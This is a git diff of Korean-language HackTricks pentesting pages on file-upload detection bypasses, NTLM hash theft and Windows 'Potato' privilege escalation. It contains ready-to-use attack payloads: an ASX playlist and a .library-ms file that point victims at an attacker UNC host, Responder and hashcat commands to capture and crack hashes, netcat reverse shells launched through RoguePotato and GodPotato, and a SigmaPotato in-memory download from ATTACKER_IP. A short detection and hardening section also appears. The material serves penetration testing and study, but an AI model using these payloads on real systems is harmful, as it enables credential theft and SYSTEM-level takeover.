- **`mmmagic` library**: 처음 1024바이트 안에 `%PDF` 매직 바이트가 있으면 유효하다고 판단됩니다 (예시는 포스트 참조)
|
||||
- **`pdflib` library**: JSON의 필드 안에 가짜 PDF 포맷을 추가하면 라이브러리가 이를 PDF로 인식합니다 (예시는 포스트 참조)
|
||||
- **`file` binary**: 파일에서 최대 1048576 바이트까지 읽을 수 있습니다. 그보다 큰 JSON을 만들어서 내용을 json으로 파싱하지 못하게 한 뒤 JSON 내부에 실제 PDF의 초기 부분을 넣으면 PDF로 인식합니다
|
||||
|
||||
## References
|
||||
## 참고자료
|
||||
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
|
||||
- [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)
|
||||
@ -405,5 +447,7 @@ How to avoid file type detections by uploading a valid JSON file even if not all
|
||||
- [CVE-2024-21546 – NVD entry](https://nvd.nist.gov/vuln/detail/CVE-2024-21546)
|
||||
- [PoC gist for LFM .php. bypass](https://gist.github.com/ImHades101/338a06816ef97262ba632af9c78b78ca)
|
||||
- [0xdf – HTB Environment (UniSharp LFM upload → PHP RCE)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
|
||||
- [HTB: Media — WMP NTLM leak → NTFS junction to webroot RCE → FullPowers + GodPotato to SYSTEM](https://0xdf.gitlab.io/2025/09/04/htb-media.html)
|
||||
- [Microsoft – mklink (command reference)](https://learn.microsoft.com/windows-server/administration/windows-commands/mklink)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,7 +1,66 @@
|
||||
# NTLM 자격 증명을 훔칠 수 있는 장소
|
||||
# NTLM creds를 훔칠 수 있는 장소
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
**[https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/](https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/)에서 온라인으로 Microsoft Word 파일을 다운로드하여 NTLM 유출 소스: https://github.com/soufianetahiri/TeamsNTLMLeak/blob/main/README.md 및 [https://github.com/p0dalirius/windows-coerced-authentication-methods](https://github.com/p0dalirius/windows-coerced-authentication-methods)에서 훌륭한 아이디어를 확인하세요.**
|
||||
**다음 자료들에서 모든 훌륭한 아이디어를 확인하세요: [https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/](https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/) — 온라인에서 microsoft word 파일을 다운로드하는 경우부터 ntlm leaks 소스: https://github.com/soufianetahiri/TeamsNTLMLeak/blob/main/README.md 및 [https://github.com/p0dalirius/windows-coerced-authentication-methods](https://github.com/p0dalirius/windows-coerced-authentication-methods)**
|
||||
|
||||
|
||||
### Windows Media Player 재생 목록 (.ASX/.WAX)
|
||||
|
||||
대상에게 당신이 제어하는 Windows Media Player playlist를 열거나 미리 보기하게 만들 수 있다면, 항목을 UNC path로 지정해서 Net‑NTLMv2를 leak할 수 있습니다. WMP는 참조된 미디어를 SMB를 통해 가져오려고 시도하며 암묵적으로 인증합니다.
|
||||
|
||||
예시 payload:
|
||||
```xml
|
||||
<asx version="3.0">
|
||||
<title>Leak</title>
|
||||
<entry>
|
||||
<title></title>
|
||||
<ref href="file://ATTACKER_IP\\share\\track.mp3" />
|
||||
</entry>
|
||||
</asx>
|
||||
```
|
||||
수집 및 cracking 흐름:
|
||||
```bash
|
||||
# Capture the authentication
|
||||
sudo Responder -I <iface>
|
||||
|
||||
# Crack the captured NetNTLMv2
|
||||
hashcat hashes.txt /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
|
||||
```
|
||||
### ZIP에 포함된 .library-ms NTLM leak (CVE-2025-24071/24055)
|
||||
|
||||
Windows 탐색기는 ZIP 아카이브 내부에서 직접 열 때 .library-ms 파일을 안전하지 않게 처리합니다. 라이브러리 정의가 원격 UNC 경로(예: \\attacker\share)를 가리키면, ZIP 내부의 .library-ms를 단순히 찾아보거나 실행하는 것만으로 Explorer가 해당 UNC를 열거하고 공격자에게 NTLM 인증을 전송합니다. 이로 인해 오프라인에서 크랙하거나 잠재적으로 relayed할 수 있는 NetNTLMv2가 생성됩니다.
|
||||
|
||||
공격자 UNC를 가리키는 최소한의 .library-ms
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
|
||||
<version>6</version>
|
||||
<name>Company Documents</name>
|
||||
<isLibraryPinned>false</isLibraryPinned>
|
||||
<iconReference>shell32.dll,-235</iconReference>
|
||||
<templateInfo>
|
||||
<folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
|
||||
</templateInfo>
|
||||
<searchConnectorDescriptionList>
|
||||
<searchConnectorDescription>
|
||||
<simpleLocation>
|
||||
<url>\\10.10.14.2\share</url>
|
||||
</simpleLocation>
|
||||
</searchConnectorDescription>
|
||||
</searchConnectorDescriptionList>
|
||||
</libraryDescription>
|
||||
```
|
||||
운영 단계
|
||||
- 위의 XML로 .library-ms 파일을 생성합니다 (set your IP/hostname).
|
||||
- Zip it (on Windows: Send to → Compressed (zipped) folder) 후 ZIP을 대상에 전달합니다.
|
||||
- NTLM capture listener를 실행하고 victim이 ZIP 내부에서 .library-ms를 열 때까지 기다립니다.
|
||||
|
||||
|
||||
## 참고자료
|
||||
- [HTB Fluffy – ZIP .library‑ms auth leak (CVE‑2025‑24071/24055) → GenericWrite → AD CS ESC16 to DA (0xdf)](https://0xdf.gitlab.io/2025/09/20/htb-fluffy.html)
|
||||
- [HTB: Media — WMP NTLM leak → NTFS junction to webroot RCE → FullPowers + GodPotato to SYSTEM](https://0xdf.gitlab.io/2025/09/04/htb-media.html)
|
||||
- [Morphisec – 5 NTLM vulnerabilities: Unpatched privilege escalation threats in Microsoft](https://www.morphisec.com/blog/5-ntlm-vulnerabilities-unpatched-privilege-escalation-threats-in-microsoft/)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -3,10 +3,10 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!WARNING]
|
||||
> **JuicyPotato doesn't work** on Windows Server 2019 and Windows 10 build 1809 onwards. However, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** can be used to **leverage the same privileges and gain `NT AUTHORITY\SYSTEM`** level access. This [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) goes in-depth on the `PrintSpoofer` tool, which can be used to abuse impersonation privileges on Windows 10 and Server 2019 hosts where JuicyPotato no longer works.
|
||||
> **JuicyPotato는 작동하지 않습니다** Windows Server 2019 및 Windows 10 빌드 1809 이후 버전에서. 그러나 [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** 는 **동일한 권한을 활용하여 `NT AUTHORITY\SYSTEM`** 권한 수준에 도달하는 데 사용할 수 있습니다. 이 [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/)는 `PrintSpoofer` 도구에 대해 심도 있게 다루며, JuicyPotato가 더 이상 작동하지 않는 Windows 10 및 Server 2019 호스트에서 impersonation 권한을 악용하는 데 사용할 수 있습니다.
|
||||
|
||||
> [!TIP]
|
||||
> A modern alternative frequently maintained in 2024–2025 is SigmaPotato (a fork of GodPotato) which adds in-memory/.NET reflection usage and extended OS support. See quick usage below and the repo in References.
|
||||
> 2024–2025년에 자주 유지되는 현대적인 대안은 SigmaPotato(GodPotato의 포크)로, 인메모리/.NET reflection 사용과 확장된 OS 지원을 추가합니다. 아래의 빠른 사용법과 References의 리포지토리를 참조하세요.
|
||||
|
||||
Related pages for background and manual techniques:
|
||||
|
||||
@ -22,25 +22,26 @@ from-high-integrity-to-system-with-name-pipes.md
|
||||
privilege-escalation-abusing-tokens.md
|
||||
{{#endref}}
|
||||
|
||||
## 요구사항 및 일반적인 주의점
|
||||
## 요구 사항 및 일반적인 주의사항
|
||||
|
||||
다음의 모든 기법은 이러한 권한 중 하나를 보유한 컨텍스트에서 impersonation-capable privileged service를 악용하는 것에 의존합니다:
|
||||
다음의 모든 기법은 impersonation-capable privileged service를, 다음 권한 중 하나를 보유한 컨텍스트에서 악용하는 데 의존합니다:
|
||||
|
||||
- SeImpersonatePrivilege (most common) or SeAssignPrimaryTokenPrivilege
|
||||
- 토큰에 이미 SeImpersonatePrivilege가 있는 경우(예: IIS AppPool, MSSQL 등 많은 서비스 계정에 흔함) High integrity는 필요하지 않습니다.
|
||||
- SeImpersonatePrivilege (가장 흔함) 또는 SeAssignPrimaryTokenPrivilege
|
||||
- 토큰이 이미 SeImpersonatePrivilege를 가지고 있다면 High integrity는 필요하지 않습니다(예: IIS AppPool, MSSQL 등 많은 서비스 계정에서 전형적임).
|
||||
|
||||
권한을 빠르게 확인:
|
||||
```cmd
|
||||
whoami /priv | findstr /i impersonate
|
||||
```
|
||||
운영 노트:
|
||||
Operational notes:
|
||||
|
||||
- PrintSpoofer는 Print Spooler 서비스가 실행 중이고 로컬 RPC 엔드포인트 (spoolss)를 통해 접근 가능해야 합니다. 강화된 환경에서 PrintNightmare 이후 Spooler가 비활성화된 경우 RoguePotato/GodPotato/DCOMPotato/EfsPotato를 선호하세요.
|
||||
- RoguePotato는 TCP/135에서 접근 가능한 OXID resolver가 필요합니다. 이그레스가 차단된 경우 리디렉터/포트 포워더를 사용하세요(아래 예시 참조). 이전 빌드는 -f 플래그가 필요했습니다.
|
||||
- EfsPotato/SharpEfsPotato는 MS-EFSR을 악용합니다; 특정 파이프가 차단되면 대체 파이프(lsarpc, efsrpc, samr, lsass, netlogon)를 시도하세요.
|
||||
- RpcBindingSetAuthInfo 중 Error 0x6d3는 일반적으로 알려지지 않았거나 지원되지 않는 RPC 인증 서비스임을 나타냅니다; 다른 파이프/전송을 시도하거나 대상 서비스가 실행 중인지 확인하세요.
|
||||
- 쉘이 SeImpersonatePrivilege가 없는 제한된 토큰으로 실행되는 경우(특정 상황에서 Local Service/Network Service에 흔함), FullPowers를 사용해 계정의 기본 권한을 복구한 다음 Potato를 실행하세요. 예: `FullPowers.exe -c "cmd /c whoami /priv" -z`
|
||||
- PrintSpoofer는 Print Spooler 서비스가 실행 중이며 로컬 RPC 엔드포인트(spoolss)를 통해 접근 가능해야 합니다. PrintNightmare 이후 Spooler가 비활성화된 하드닝된 환경에서는 RoguePotato/GodPotato/DCOMPotato/EfsPotato를 선호하세요.
|
||||
- RoguePotato는 TCP/135에서 접근 가능한 OXID resolver가 필요합니다. egress가 차단된 경우 redirector/port-forwarder를 사용하세요(아래 예 참조). 이전 빌드에서는 -f 플래그가 필요했습니다.
|
||||
- EfsPotato/SharpEfsPotato는 MS-EFSR을 악용합니다; 한 파이프가 차단된 경우 다른 파이프(lsarpc, efsrpc, samr, lsass, netlogon)를 시도하세요.
|
||||
- RpcBindingSetAuthInfo 실행 중 오류 0x6d3은 일반적으로 알 수 없거나 지원되지 않는 RPC 인증 서비스임을 나타냅니다; 다른 파이프/전송을 시도하거나 대상 서비스가 실행 중인지 확인하세요.
|
||||
|
||||
## 빠른 데모
|
||||
## Quick Demo
|
||||
|
||||
### PrintSpoofer
|
||||
```bash
|
||||
@ -58,7 +59,7 @@ NULL
|
||||
|
||||
```
|
||||
참고:
|
||||
- 현재 콘솔에서 대화형 프로세스를 생성하려면 -i를 사용하고, 한 줄 명령을 실행하려면 -c를 사용할 수 있습니다.
|
||||
- -i를 사용하면 현재 콘솔에서 대화형 프로세스를 생성할 수 있고, -c는 한 줄 명령을 실행합니다.
|
||||
- Spooler 서비스가 필요합니다. 비활성화되어 있으면 실패합니다.
|
||||
|
||||
### RoguePotato
|
||||
@ -67,7 +68,7 @@ c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -l
|
||||
# In some old versions you need to use the "-f" param
|
||||
c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -f 9999
|
||||
```
|
||||
outbound 135가 차단된 경우, redirector에서 socat을 통해 OXID resolver를 pivot하세요:
|
||||
아웃바운드 135가 차단된 경우, redirector에서 socat을 통해 OXID resolver를 pivot하세요:
|
||||
```bash
|
||||
# On attacker redirector (must listen on TCP/135 and forward to victim:9999)
|
||||
socat tcp-listen:135,reuseaddr,fork tcp:VICTIM_IP:9999
|
||||
@ -111,7 +112,7 @@ CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes su
|
||||
|
||||
nt authority\system
|
||||
```
|
||||
팁: 한 pipe가 실패하거나 EDR이 차단하면, 지원되는 다른 pipes를 시도해보세요:
|
||||
팁: 하나의 pipe가 실패하거나 EDR이 이를 차단하면, 다른 지원되는 pipes를 시도해 보세요:
|
||||
```text
|
||||
EfsPotato <cmd> [pipe]
|
||||
pipe -> lsarpc|efsrpc|samr|lsass|netlogon (default=lsarpc)
|
||||
@ -123,13 +124,13 @@ pipe -> lsarpc|efsrpc|samr|lsass|netlogon (default=lsarpc)
|
||||
> GodPotato -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012"
|
||||
```
|
||||
참고:
|
||||
- SeImpersonatePrivilege가 존재할 경우 Windows 8/8.1–11 및 Server 2012–2022에서 작동합니다.
|
||||
- Windows 8/8.1–11 및 Server 2012–2022에서 SeImpersonatePrivilege가 있으면 작동합니다.
|
||||
|
||||
### DCOMPotato
|
||||
|
||||

|
||||
|
||||
DCOMPotato는 RPC_C_IMP_LEVEL_IMPERSONATE를 기본값으로 하는 서비스 DCOM 객체를 대상으로 하는 두 가지 변형을 제공합니다. 제공된 binaries를 빌드하거나 사용한 뒤 명령을 실행하세요:
|
||||
DCOMPotato는 RPC_C_IMP_LEVEL_IMPERSONATE로 기본 설정된 서비스 DCOM 객체를 대상으로 하는 두 가지 변형을 제공합니다. 제공된 바이너리를 빌드하거나 사용하고 명령을 실행하세요:
|
||||
```cmd
|
||||
# PrinterNotify variant
|
||||
PrinterNotifyPotato.exe "cmd /c whoami"
|
||||
@ -139,7 +140,7 @@ McpManagementPotato.exe "cmd /c whoami"
|
||||
```
|
||||
### SigmaPotato (업데이트된 GodPotato 포크)
|
||||
|
||||
SigmaPotato는 .NET reflection을 통한 메모리 내 실행과 PowerShell reverse shell helper 같은 최신 편의 기능을 추가합니다.
|
||||
SigmaPotato는 .NET reflection을 통한 메모리 내 실행과 PowerShell reverse shell 헬퍼 같은 현대적 편의 기능을 추가합니다.
|
||||
```powershell
|
||||
# Load and execute from memory (no disk touch)
|
||||
[System.Reflection.Assembly]::Load((New-Object System.Net.WebClient).DownloadData("http://ATTACKER_IP/SigmaPotato.exe"))
|
||||
@ -148,15 +149,15 @@ SigmaPotato는 .NET reflection을 통한 메모리 내 실행과 PowerShell reve
|
||||
# Or ask it to spawn a PS reverse shell
|
||||
[SigmaPotato]::Main(@("--revshell","ATTACKER_IP","4444"))
|
||||
```
|
||||
## 탐지 및 하드닝 참고사항
|
||||
## 탐지 및 하드닝 노트
|
||||
|
||||
- 명명된 파이프(named pipes)를 생성하고 즉시 token-duplication APIs를 호출한 후 CreateProcessAsUser/CreateProcessWithTokenW를 호출하는 프로세스를 모니터링하세요. Sysmon은 유용한 텔레메트리를 제공할 수 있습니다: Event ID 1 (process creation), 17/18 (named pipe created/connected), 및 SYSTEM으로 자식 프로세스를 생성하는 명령줄.
|
||||
- Spooler hardening: 필요 없는 서버에서 Print Spooler 서비스를 비활성화하면 spoolss를 통한 PrintSpoofer-style 로컬 강제 실행을 방지할 수 있습니다.
|
||||
- Service account hardening: 커스텀 서비스에 SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege 할당을 최소화하세요. 가능한 경우 최소 권한의 가상 계정으로 서비스를 실행하고, service SID 및 write-restricted tokens로 격리하는 것을 고려하세요.
|
||||
- Network controls: 아웃바운드 TCP/135를 차단하거나 RPC endpoint mapper 트래픽을 제한하면 내부 redirector가 없는 한 RoguePotato를 방해할 수 있습니다.
|
||||
- EDR/AV: 이 도구들은 모두 널리 시그니처화되어 있습니다. 소스에서 다시 컴파일하거나 심볼/문자열을 변경하거나 인메모리 실행을 사용하면 탐지율을 낮출 수 있지만, 견고한 행위 기반 탐지를 완전히 회피하지는 못합니다.
|
||||
- named pipes를 생성하고 즉시 token-duplication APIs를 호출한 다음 CreateProcessAsUser/CreateProcessWithTokenW를 호출하는 프로세스를 모니터링하세요. Sysmon은 유용한 텔레메트리를 제공할 수 있습니다: Event ID 1 (process creation), 17/18 (named pipe created/connected), 그리고 SYSTEM으로 자식 프로세스를 생성하는 명령줄.
|
||||
- Spooler hardening: Print Spooler 서비스를 필요하지 않은 서버에서 비활성화하면 spoolss를 통한 PrintSpoofer-style 로컬 강제 권한 상승을 방지할 수 있습니다.
|
||||
- Service account hardening: SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege의 커스텀 서비스에 대한 할당을 최소화하세요. 가능한 경우 최소 권한이 부여된 가상 계정으로 서비스를 실행하고, service SID 및 쓰기 제한 토큰으로 격리하는 것을 고려하세요.
|
||||
- Network controls: outbound TCP/135를 차단하거나 RPC endpoint mapper 트래픽을 제한하면 내부 리디렉터가 없는 경우 RoguePotato가 동작하지 않을 수 있습니다.
|
||||
- EDR/AV: 이러한 도구들은 대부분 시그니처로 널리 탐지됩니다. 소스에서 재컴파일하거나 심볼/문자열을 변경하거나 in-memory 실행을 사용하면 탐지를 줄일 수 있지만, 강력한 행위 기반 탐지는 우회하기 어렵습니다.
|
||||
|
||||
## 참고자료
|
||||
## 참고 자료
|
||||
|
||||
- [https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/)
|
||||
- [https://github.com/itm4n/PrintSpoofer](https://github.com/itm4n/PrintSpoofer)
|
||||
@ -167,5 +168,7 @@ SigmaPotato는 .NET reflection을 통한 메모리 내 실행과 PowerShell reve
|
||||
- [https://github.com/zcgonvh/DCOMPotato](https://github.com/zcgonvh/DCOMPotato)
|
||||
- [https://github.com/tylerdotrar/SigmaPotato](https://github.com/tylerdotrar/SigmaPotato)
|
||||
- [https://decoder.cloud/2020/05/11/no-more-juicypotato-old-story-welcome-roguepotato/](https://decoder.cloud/2020/05/11/no-more-juicypotato-old-story-welcome-roguepotato/)
|
||||
- [FullPowers – 서비스 계정의 기본 토큰 권한 복원](https://github.com/itm4n/FullPowers)
|
||||
- [HTB: Media — WMP NTLM leak → NTFS junction to webroot RCE → FullPowers + GodPotato to SYSTEM](https://0xdf.gitlab.io/2025/09/04/htb-media.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user